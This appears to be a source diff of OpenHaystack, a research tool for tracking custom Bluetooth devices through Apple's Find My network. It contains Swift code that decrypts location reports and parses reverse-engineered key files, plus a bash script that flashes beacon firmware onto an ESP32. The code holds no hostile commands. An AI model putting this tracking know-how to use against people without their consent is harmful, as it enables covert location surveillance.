+ (void)printPoint:(const EC_POINT *)point withGroup:(EC_GROUP *)group {
|
||||
NSMutableData *pointData = [[NSMutableData alloc] initWithLength:256];
|
||||
|
||||
|
||||
size_t len = pointData.length;
|
||||
BN_CTX *ctx = BN_CTX_new();
|
||||
BN_CTX_start(ctx);
|
||||
size_t res = EC_POINT_point2oct(group, point, POINT_CONVERSION_UNCOMPRESSED, pointData.mutableBytes, len, ctx);
|
||||
//Free the big numbers
|
||||
// Free the big numbers
|
||||
BN_CTX_free(ctx);
|
||||
|
||||
|
||||
NSData *written = [[NSData alloc] initWithBytes:pointData.bytes length:res];
|
||||
|
||||
|
||||
NSLog(@"Point data is: %@", [written base64EncodedStringWithOptions:0]);
|
||||
}
|
||||
|
||||
|
||||
@@ -1,16 +1,19 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
|
||||
struct DecryptReports {
|
||||
|
||||
/// Decrypt a find my report with the according key
|
||||
/// Decrypt a find my report with the according key.
|
||||
///
|
||||
/// - Parameters:
|
||||
/// - report: An encrypted FindMy Report
|
||||
/// - key: A FindMyKey
|
||||
@@ -40,7 +43,8 @@ struct DecryptReports {
|
||||
return locationReport
|
||||
}
|
||||
|
||||
/// Decrypt the payload
|
||||
/// Decrypt the payload.
|
||||
///
|
||||
/// - Parameters:
|
||||
/// - payload: Encrypted payload part
|
||||
/// - symmetricKey: Symmetric key
|
||||
@@ -63,18 +67,18 @@ struct DecryptReports {
|
||||
|
||||
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
|
||||
var longitude: Int32 = 0
|
||||
_ = withUnsafeMutableBytes(of: &longitude, {content.subdata(in: 4..<8).copyBytes(to: $0)})
|
||||
_ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
|
||||
longitude = Int32(bigEndian: longitude)
|
||||
|
||||
var latitude: Int32 = 0
|
||||
_ = withUnsafeMutableBytes(of: &latitude, {content.subdata(in: 0..<4).copyBytes(to: $0)})
|
||||
_ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
|
||||
latitude = Int32(bigEndian: latitude)
|
||||
|
||||
var accuracy: UInt8 = 0
|
||||
_ = withUnsafeMutableBytes(of: &accuracy, {content.subdata(in: 8..<9).copyBytes(to: $0)})
|
||||
_ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
|
||||
|
||||
let latitudeDec = Double(latitude)/10000000.0
|
||||
let longitudeDec = Double(longitude)/10000000.0
|
||||
let latitudeDec = Double(latitude) / 10000000.0
|
||||
let longitudeDec = Double(longitude) / 10000000.0
|
||||
|
||||
return FindMyLocationReport(lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished, t: report.timestamp, c: report.confidence)
|
||||
}
|
||||
|
||||
@@ -1,17 +1,18 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import Combine
|
||||
import Foundation
|
||||
import OSLog
|
||||
import SwiftUI
|
||||
|
||||
class FindMyController: ObservableObject {
|
||||
static let shared = FindMyController()
|
||||
|
||||
@Published var error: Error?
|
||||
@Published var devices = [FindMyDevice]()
|
||||
|
||||
@@ -26,7 +27,7 @@ class FindMyController: ObservableObject {
|
||||
}
|
||||
}
|
||||
|
||||
func importReports(reports: [FindMyReport], and keys: Data, completion:@escaping () -> Void) throws {
|
||||
func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void) throws {
|
||||
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
|
||||
self.devices = devices
|
||||
|
||||
@@ -76,12 +77,35 @@ class FindMyController: ObservableObject {
|
||||
|
||||
self.devices = devices
|
||||
|
||||
// Decrypt reports again with additional information
|
||||
// Decrypt reports again with additional information
|
||||
self.decryptReports {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func fetchReports(for accessories: [Accessory], with token: Data, completion: @escaping (Result<[FindMyDevice], Error>) -> Void) {
|
||||
let findMyDevices = accessories.compactMap({ acc -> FindMyDevice? in
|
||||
do {
|
||||
return try acc.toFindMyDevice()
|
||||
} catch {
|
||||
os_log("Failed getting id for key %@", String(describing: error))
|
||||
return nil
|
||||
}
|
||||
})
|
||||
|
||||
self.devices = findMyDevices
|
||||
|
||||
self.fetchReports(with: token) { error in
|
||||
|
||||
if let error = error {
|
||||
completion(.failure(error))
|
||||
os_log("Error: %@", String(describing: error))
|
||||
} else {
|
||||
completion(.success(self.devices))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
@@ -97,10 +121,10 @@ class FindMyController: ObservableObject {
|
||||
// Only use the newest keys for testing
|
||||
let keys = devices[deviceIndex].keys
|
||||
|
||||
let keyHashes = keys.map({$0.hashedKey.base64EncodedString()})
|
||||
let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
|
||||
|
||||
// 21 days
|
||||
let duration: Double = (24 * 60 * 60) * 21
|
||||
let duration: Double = (24 * 60 * 60) * 21
|
||||
let startDate = Date() - duration
|
||||
|
||||
fetcher.query(forHashes: keyHashes, start: startDate, duration: duration, searchPartyToken: searchPartyToken) { jd in
|
||||
@@ -136,10 +160,10 @@ class FindMyController: ObservableObject {
|
||||
}
|
||||
|
||||
#if EXPORT
|
||||
if let encoded = try? JSONEncoder().encode(reports) {
|
||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
|
||||
}
|
||||
if let encoded = try? JSONEncoder().encode(reports) {
|
||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
|
||||
}
|
||||
#endif
|
||||
|
||||
DispatchQueue.main.async {
|
||||
@@ -164,14 +188,14 @@ class FindMyController: ObservableObject {
|
||||
let device = devices[deviceIdx]
|
||||
|
||||
// Map the keys in a dictionary for faster access
|
||||
guard let reports = device.reports else {continue}
|
||||
let keyMap = device.keys.reduce(into: [String: FindMyKey](), {$0[$1.hashedKey.base64EncodedString()] = $1})
|
||||
guard let reports = device.reports else { continue }
|
||||
let keyMap = device.keys.reduce(into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
|
||||
|
||||
let accessQueue = DispatchQueue(label: "threadSafeAccess", qos: .userInitiated, attributes: .concurrent, autoreleaseFrequency: .workItem, target: nil)
|
||||
var decryptedReports = [FindMyLocationReport](repeating: FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0), count: reports.count)
|
||||
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
|
||||
let report = reports[reportIdx]
|
||||
guard let key = keyMap[report.id] else {return}
|
||||
guard let key = keyMap[report.id] else { return }
|
||||
do {
|
||||
// Decrypt the report
|
||||
let locationReport = try DecryptReports.decrypt(report: report, with: key)
|
||||
@@ -202,17 +226,6 @@ class FindMyController: ObservableObject {
|
||||
|
||||
}
|
||||
|
||||
struct FindMyControllerKey: EnvironmentKey {
|
||||
static var defaultValue: FindMyController = .shared
|
||||
}
|
||||
|
||||
extension EnvironmentValues {
|
||||
var findMyController: FindMyController {
|
||||
get {self[FindMyControllerKey.self]}
|
||||
set {self[FindMyControllerKey.self] = newValue}
|
||||
}
|
||||
}
|
||||
|
||||
enum FindMyErrors: Error {
|
||||
case decodingPlistFailed(message: String)
|
||||
}
|
||||
|
||||
@@ -1,18 +1,24 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
|
||||
/// Decode key files found in newer macOS versions.
|
||||
class FindMyKeyDecoder {
|
||||
/// Key files can be in different format. The old <= 10.15.3 have been using normal plists. Newer once use a binary format which needs different parsing
|
||||
/// Key files can be in different format.
|
||||
///
|
||||
/// The old <= 10.15.3 have been using normal plists. Newer once use a binary format which needs different parsing.
|
||||
enum KeyFileFormat {
|
||||
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key file format that can be parsed identically. macOS 10.15.7 uses a new key file format that has not been reversed yet. (The key files are protected by sandboxing and only usable from a SIP disabled)
|
||||
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key file format that can be parsed identically.
|
||||
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
|
||||
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
|
||||
case catalina_10_15_4
|
||||
}
|
||||
|
||||
@@ -57,7 +63,7 @@ class FindMyKeyDecoder {
|
||||
|
||||
while i + 117 < keyFile.count {
|
||||
// We could not identify what those keys were
|
||||
_ = keyFile.subdata(in: i..<i+32)
|
||||
_ = keyFile.subdata(in: i..<i + 32)
|
||||
i += 32
|
||||
if keyFile[i] == 0x00 {
|
||||
// Public key only.
|
||||
@@ -70,9 +76,9 @@ class FindMyKeyDecoder {
|
||||
throw ParsingError.wrongFormat
|
||||
}
|
||||
// Step over 0x01
|
||||
i+=1
|
||||
i += 1
|
||||
// Read the key (starting with 0x04)
|
||||
let fullKey = keyFile.subdata(in: i..<i+85)
|
||||
let fullKey = keyFile.subdata(in: i..<i + 85)
|
||||
i += 85
|
||||
// Create the sub keys. No actual need, but we do that to put them into a similar format as used before 10.15.4
|
||||
let advertisedKey = fullKey.subdata(in: 1..<29)
|
||||
@@ -82,14 +88,15 @@ class FindMyKeyDecoder {
|
||||
shaDigest.update(data: advertisedKey)
|
||||
let hashedKey = Data(shaDigest.finalize())
|
||||
|
||||
let fmKey = FindMyKey(advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: fullKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: yCoordinate,
|
||||
fullKey: fullKey)
|
||||
let fmKey = FindMyKey(
|
||||
advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: fullKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: yCoordinate,
|
||||
fullKey: fullKey)
|
||||
|
||||
keys.append(fmKey)
|
||||
}
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CoreLocation
|
||||
import Foundation
|
||||
|
||||
struct FindMyDevice: Codable, Hashable {
|
||||
|
||||
@@ -15,7 +17,7 @@ struct FindMyDevice: Codable, Hashable {
|
||||
|
||||
var catalinaBigSurKeyFiles: [Data]?
|
||||
|
||||
/// KeyHash: Report results
|
||||
/// KeyHash: Report results.
|
||||
var reports: [FindMyReport]?
|
||||
|
||||
var decryptedReports: [FindMyLocationReport]?
|
||||
@@ -47,22 +49,40 @@ struct FindMyKey: Codable {
|
||||
self.fullKey = fullKey
|
||||
}
|
||||
|
||||
/// The advertising key
|
||||
init(from decoder: Decoder) throws {
|
||||
let container = try decoder.container(keyedBy: CodingKeys.self)
|
||||
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
|
||||
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
|
||||
let privateKey = try container.decode(Data.self, forKey: .privateKey)
|
||||
if privateKey.count == 85 {
|
||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||
} else {
|
||||
self.privateKey = privateKey
|
||||
}
|
||||
|
||||
self.startTime = try? container.decode(Date.self, forKey: .startTime)
|
||||
self.duration = try? container.decode(Double.self, forKey: .duration)
|
||||
self.pu = try? container.decode(Data.self, forKey: .pu)
|
||||
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
|
||||
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
|
||||
}
|
||||
|
||||
/// The advertising key.
|
||||
let advertisedKey: Data
|
||||
/// Hashed advertisement key using SHA256
|
||||
/// Hashed advertisement key using SHA256.
|
||||
let hashedKey: Data
|
||||
/// The private key from which the advertisement keys can be derived
|
||||
/// The private key from which the advertisement keys can be derived.
|
||||
let privateKey: Data
|
||||
/// When this key was used to send out BLE advertisements
|
||||
/// When this key was used to send out BLE advertisements.
|
||||
let startTime: Date?
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements.
|
||||
let duration: Double?
|
||||
/// ?
|
||||
let pu: Data?
|
||||
|
||||
/// As exported from Big Sur
|
||||
/// As exported from Big Sur.
|
||||
let yCoordinate: Data?
|
||||
/// As exported from BigSur
|
||||
/// As exported from Big Sur.
|
||||
let fullKey: Data?
|
||||
}
|
||||
|
||||
@@ -90,7 +110,7 @@ struct FindMyReport: Codable {
|
||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
|
||||
// Convert from milis to time interval
|
||||
let dP = Date(timeIntervalSince1970: dateTimestamp/1000)
|
||||
let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
|
||||
let df = DateFormatter()
|
||||
df.dateFormat = "YYYY-MM-dd"
|
||||
|
||||
|
||||
@@ -1,49 +1,200 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Combine
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import OSLog
|
||||
|
||||
class AccessoryController: ObservableObject {
|
||||
static let shared = AccessoryController()
|
||||
|
||||
@Published var accessories: [Accessory]
|
||||
|
||||
init() {
|
||||
self.accessories = KeychainController.loadAccessoriesFromKeychain()
|
||||
var selfObserver: AnyCancellable?
|
||||
var listElementsObserver = [AnyCancellable]()
|
||||
let findMyController: FindMyController
|
||||
|
||||
init(accessories: [Accessory], findMyController: FindMyController) {
|
||||
self.accessories = accessories
|
||||
self.findMyController = findMyController
|
||||
initAccessoryObserver()
|
||||
initObserver()
|
||||
}
|
||||
|
||||
init(accessories: [Accessory]) {
|
||||
self.accessories = accessories
|
||||
convenience init() {
|
||||
self.init(accessories: KeychainController.loadAccessoriesFromKeychain(), findMyController: FindMyController())
|
||||
}
|
||||
|
||||
func initAccessoryObserver() {
|
||||
self.selfObserver = self.objectWillChange.sink { _ in
|
||||
// objectWillChange is called before the values are actually changed,
|
||||
// so we dispatch the call to save()
|
||||
DispatchQueue.main.async {
|
||||
self.initObserver()
|
||||
try? self.save()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func initObserver() {
|
||||
self.listElementsObserver.forEach({
|
||||
$0.cancel()
|
||||
})
|
||||
self.accessories.forEach({
|
||||
let c = $0.objectWillChange.sink(receiveValue: { self.objectWillChange.send() })
|
||||
// Important: You have to keep the returned value allocated,
|
||||
// otherwise the sink subscription gets cancelled
|
||||
self.listElementsObserver.append(c)
|
||||
})
|
||||
}
|
||||
|
||||
func save() throws {
|
||||
try KeychainController.storeInKeychain(accessories: self.accessories)
|
||||
}
|
||||
|
||||
func load() {
|
||||
self.accessories = KeychainController.loadAccessoriesFromKeychain()
|
||||
}
|
||||
|
||||
func updateWithDecryptedReports(devices: [FindMyDevice]) {
|
||||
// Assign last locations
|
||||
for device in FindMyController.shared.devices {
|
||||
if let idx = self.accessories.firstIndex(where: {$0.id == Int(device.deviceId)}) {
|
||||
for device in devices {
|
||||
if let idx = self.accessories.firstIndex(where: { $0.id == Int(device.deviceId) }) {
|
||||
self.objectWillChange.send()
|
||||
let accessory = self.accessories[idx]
|
||||
|
||||
let report = device.decryptedReports?
|
||||
.sorted(by: {$0.timestamp ?? Date.distantPast > $1.timestamp ?? Date.distantPast })
|
||||
.sorted(by: { $0.timestamp ?? Date.distantPast > $1.timestamp ?? Date.distantPast })
|
||||
.first
|
||||
|
||||
accessory.lastLocation = report?.location
|
||||
accessory.locationTimestamp = report?.timestamp
|
||||
|
||||
self.accessories[idx] = accessory
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func delete(accessory: Accessory) throws {
|
||||
var accessories = self.accessories
|
||||
guard let idx = accessories.firstIndex(of: accessory) else { return }
|
||||
|
||||
accessories.remove(at: idx)
|
||||
|
||||
withAnimation {
|
||||
self.accessories = accessories
|
||||
}
|
||||
}
|
||||
|
||||
func addAccessory() throws -> Accessory {
|
||||
let accessory = try Accessory()
|
||||
withAnimation {
|
||||
self.accessories.append(accessory)
|
||||
}
|
||||
return accessory
|
||||
}
|
||||
|
||||
/// Export the accessories property list so it can be imported at another location
|
||||
func export(accessories: [Accessory]) throws -> URL {
|
||||
let propertyList = try PropertyListEncoder().encode(accessories)
|
||||
|
||||
let savePanel = NSSavePanel()
|
||||
savePanel.allowedFileTypes = ["plist"]
|
||||
savePanel.canCreateDirectories = true
|
||||
savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
|
||||
savePanel.message = "This export contains all private keys! Keep the file save to protect your location data"
|
||||
savePanel.nameFieldLabel = "Filename"
|
||||
savePanel.nameFieldStringValue = "openhaystack_accessories.plist"
|
||||
savePanel.prompt = "Export"
|
||||
savePanel.title = "Export accessories & keys"
|
||||
|
||||
let result = savePanel.runModal()
|
||||
|
||||
if result == .OK,
|
||||
let url = savePanel.url {
|
||||
// Store the accessory file
|
||||
try propertyList.write(to: url)
|
||||
|
||||
return url
|
||||
}
|
||||
throw ImportError.cancelled
|
||||
}
|
||||
|
||||
/// Let the user select a file to import the accessories exported by another OpenHaystack instance
|
||||
func importAccessories() throws {
|
||||
let openPanel = NSOpenPanel()
|
||||
openPanel.allowedFileTypes = ["plist"]
|
||||
openPanel.canCreateDirectories = true
|
||||
openPanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
|
||||
openPanel.message = "Import an accessories file that includes the private keys"
|
||||
openPanel.prompt = "Import"
|
||||
openPanel.title = "Import accessories & keys"
|
||||
|
||||
let result = openPanel.runModal()
|
||||
if result == .OK,
|
||||
let url = openPanel.url {
|
||||
let propertyList = try Data(contentsOf: url)
|
||||
var importedAccessories = try PropertyListDecoder().decode([Accessory].self, from: propertyList)
|
||||
|
||||
var updatedAccessories = self.accessories
|
||||
// Filter out accessories with the same id (no duplicates)
|
||||
importedAccessories = importedAccessories.filter({acc in !self.accessories.contains(where: {acc.id == $0.id})})
|
||||
updatedAccessories.append(contentsOf: importedAccessories)
|
||||
updatedAccessories.sort(by: {$0.name < $1.name})
|
||||
|
||||
|
||||
self.accessories = updatedAccessories
|
||||
|
||||
//Update reports automatically. Do not report errors from here
|
||||
self.downloadLocationReports { result in}
|
||||
}
|
||||
}
|
||||
|
||||
enum ImportError: Error {
|
||||
case cancelled
|
||||
}
|
||||
|
||||
|
||||
//MARK: Location reports
|
||||
|
||||
|
||||
/// Download the location reports from
|
||||
/// - Parameter completion: called when the reports have been succesfully downloaded or the request has failed
|
||||
func downloadLocationReports(completion: @escaping (Result<Void,OpenHaystackMainView.AlertType>) -> Void) {
|
||||
AnisetteDataManager.shared.requestAnisetteData { result in
|
||||
switch result {
|
||||
case .failure(_):
|
||||
completion(.failure(.activatePlugin))
|
||||
case .success(let accountData):
|
||||
|
||||
guard let token = accountData.searchPartyToken,
|
||||
token.isEmpty == false else {
|
||||
completion(.failure(.searchPartyToken))
|
||||
return
|
||||
}
|
||||
|
||||
self.findMyController.fetchReports(for: self.accessories, with: token) { result in
|
||||
switch result {
|
||||
case .failure(let error):
|
||||
os_log(.error, "Downloading reports failed %@", error.localizedDescription)
|
||||
completion(.failure(.downloadingReportsFailed))
|
||||
case .success(let devices):
|
||||
let reports = devices.compactMap({ $0.reports }).flatMap({ $0 })
|
||||
if reports.isEmpty {
|
||||
completion(.failure(.noReportsFound))
|
||||
}else {
|
||||
self.updateWithDecryptedReports(devices: devices)
|
||||
completion(.success(()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
class AccessoryControllerPreview: AccessoryController {
|
||||
override func save() {
|
||||
// don't allow saving dummy data to keychain
|
||||
}
|
||||
}
|
||||
|
||||
67
OpenHaystack/OpenHaystack/HaystackApp/ESP32Controller.swift
Normal file
67
OpenHaystack/OpenHaystack/HaystackApp/ESP32Controller.swift
Normal file
@@ -0,0 +1,67 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
struct ESP32Controller {
|
||||
static var espFirmwareDirectory: URL? {
|
||||
Bundle.main.resourceURL?.appendingPathComponent("ESP32")
|
||||
}
|
||||
|
||||
/// Tries to find the port / path at which the ESP32 module is attached
|
||||
static func findPort() -> [URL] {
|
||||
// List all ports
|
||||
let ports = try? FileManager.default.contentsOfDirectory(atPath: "/dev").filter({ $0.contains("cu.") })
|
||||
|
||||
let portURLs = ports?.map({ URL(fileURLWithPath: "/dev/\($0)") })
|
||||
|
||||
return portURLs ?? []
|
||||
}
|
||||
|
||||
/// Runs the script to flash the firmware on an ESP32
|
||||
static func flashToESP32(accessory: Accessory, port: URL, completion: @escaping (Result<Void, Error>) -> Void) throws {
|
||||
|
||||
// Copy firmware to a temporary directory
|
||||
let temp = NSTemporaryDirectory() + "OpenHaystack"
|
||||
let urlTemp = URL(fileURLWithPath: temp)
|
||||
try? FileManager.default.removeItem(at: urlTemp)
|
||||
|
||||
try? FileManager.default.createDirectory(atPath: temp, withIntermediateDirectories: false, attributes: nil)
|
||||
|
||||
guard let espDirectory = espFirmwareDirectory else { return }
|
||||
|
||||
try FileManager.default.copyFolder(from: espDirectory, to: urlTemp)
|
||||
let scriptPath = urlTemp.appendingPathComponent("flash_esp32.sh")
|
||||
|
||||
let key = try accessory.getAdvertisementKey().base64EncodedString()
|
||||
let arguments = ["-p", "\(port.path)", key]
|
||||
|
||||
let task = try NSUserUnixTask(url: scriptPath)
|
||||
task.execute(withArguments: arguments) { e in
|
||||
DispatchQueue.main.async {
|
||||
if let error = e {
|
||||
completion(.failure(error))
|
||||
} else {
|
||||
completion(.success(()))
|
||||
}
|
||||
|
||||
// Delete the temporary folder
|
||||
try? FileManager.default.removeItem(at: urlTemp)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
enum FirmwareFlashError: Error {
|
||||
/// Missing files for flashing
|
||||
case notFound
|
||||
/// Flashing / writing failed
|
||||
case flashFailed
|
||||
}
|
||||
38
OpenHaystack/OpenHaystack/HaystackApp/FileManager.swift
Normal file
38
OpenHaystack/OpenHaystack/HaystackApp/FileManager.swift
Normal file
@@ -0,0 +1,38 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
import Foundation
|
||||
|
||||
extension FileManager {
|
||||
|
||||
/// Copy a folder recursively.
|
||||
///
|
||||
/// - Parameters:
|
||||
/// - from: Folder source
|
||||
/// - to: Folder destination
|
||||
/// - Throws: An error if copying or acessing files fails
|
||||
func copyFolder(from: URL, to: URL) throws {
|
||||
// Create the folder
|
||||
try? FileManager.default.createDirectory(at: to, withIntermediateDirectories: false, attributes: nil)
|
||||
|
||||
let files = try FileManager.default.contentsOfDirectory(atPath: from.path)
|
||||
for file in files {
|
||||
// Check if file is a folder
|
||||
var isDir: ObjCBool = .init(booleanLiteral: false)
|
||||
let fileURL = from.appendingPathComponent(file)
|
||||
FileManager.default.fileExists(atPath: fileURL.path, isDirectory: &isDir)
|
||||
|
||||
if isDir.boolValue == true {
|
||||
try self.copyFolder(from: fileURL, to: to.appendingPathComponent(file))
|
||||
} else {
|
||||
// Copy file
|
||||
try FileManager.default.copyItem(at: fileURL, to: to.appendingPathComponent(file))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
(directory will be populated in CI release workflow)
|
||||
139
OpenHaystack/OpenHaystack/HaystackApp/Firmwares/ESP32/flash_esp32.sh
Executable file
139
OpenHaystack/OpenHaystack/HaystackApp/Firmwares/ESP32/flash_esp32.sh
Executable file
@@ -0,0 +1,139 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Directory of this script
|
||||
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
|
||||
|
||||
# Defaults: Directory for the virtual environment
|
||||
VENV_DIR="$SCRIPT_DIR/venv"
|
||||
|
||||
# Defaults: Serial port to access the ESP32
|
||||
PORT=/dev/ttyS0
|
||||
|
||||
# Defaults: Fast baud rate
|
||||
BAUDRATE=921600
|
||||
|
||||
# Parameter parsing
|
||||
while [[ $# -gt 0 ]]; do
|
||||
KEY="$1"
|
||||
case "$KEY" in
|
||||
-p|--port)
|
||||
PORT="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
-s|--slow)
|
||||
BAUDRATE=115200
|
||||
shift
|
||||
;;
|
||||
-v|--venvdir)
|
||||
VENV_DIR="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
-h|--help)
|
||||
echo "flash_esp32.sh - Flash the OpenHaystack firmware onto an ESP32 module"
|
||||
echo ""
|
||||
echo " This script will create a virtual environment for the required tools."
|
||||
echo ""
|
||||
echo "Call: flash_esp32.sh [-p <port>] [-v <dir>] [-s] PUBKEY"
|
||||
echo ""
|
||||
echo "Required Arguments:"
|
||||
echo " PUBKEY"
|
||||
echo " The base64-encoded public key"
|
||||
echo ""
|
||||
echo "Optional Arguments:"
|
||||
echo " -h, --help"
|
||||
echo " Show this message and exit."
|
||||
echo " -p, --port <port>"
|
||||
echo " Specify the serial interface to which the device is connected."
|
||||
echo " -s, --slow"
|
||||
echo " Use 115200 instead of 921600 baud when flashing."
|
||||
echo " Might be required for long/bad USB cables or slow USB-to-Serial converters."
|
||||
echo " -v, --venvdir <dir>"
|
||||
echo " Select Python virtual environment with esptool installed."
|
||||
echo " If the directory does not exist, it will be created."
|
||||
exit 1
|
||||
;;
|
||||
*)
|
||||
if [[ -z "$PUBKEY" ]]; then
|
||||
PUBKEY="$1"
|
||||
shift
|
||||
else
|
||||
echo "Got unexpected parameter $1"
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# Sanity check: Pubkey exists
|
||||
if [[ -z "$PUBKEY" ]]; then
|
||||
echo "Missing public key, call with --help for usage"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Sanity check: Port
|
||||
if [[ ! -e "$PORT" ]]; then
|
||||
echo "$PORT does not exist, please specify a valid serial interface with the -p argument"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Setup the virtual environment
|
||||
if [[ ! -d "$VENV_DIR" ]]; then
|
||||
# Create the virtual environment
|
||||
PYTHON="$(which python3)"
|
||||
if [[ -z "$PYTHON" ]]; then
|
||||
PYTHON="$(which python)"
|
||||
fi
|
||||
if [[ -z "$PYTHON" ]]; then
|
||||
echo "Could not find a Python installation, please install Python 3."
|
||||
exit 1
|
||||
fi
|
||||
if ! ($PYTHON -V 2>&1 | grep "Python 3" > /dev/null); then
|
||||
echo "Executing \"$PYTHON\" does not run Python 3, please make sure that python3 or python on your PATH points to Python 3"
|
||||
exit 1
|
||||
fi
|
||||
if ! ($PYTHON -c "import venv" &> /dev/null); then
|
||||
echo "Python 3 module \"venv\" was not found."
|
||||
exit 1
|
||||
fi
|
||||
$PYTHON -m venv "$VENV_DIR"
|
||||
if [[ $? != 0 ]]; then
|
||||
echo "Creating the virtual environment in $VENV_DIR failed."
|
||||
exit 1
|
||||
fi
|
||||
source "$VENV_DIR/bin/activate"
|
||||
pip install --upgrade pip
|
||||
pip install esptool
|
||||
if [[ $? != 0 ]]; then
|
||||
echo "Could not install Python 3 module esptool in $VENV_DIR";
|
||||
exit 1
|
||||
fi
|
||||
else
|
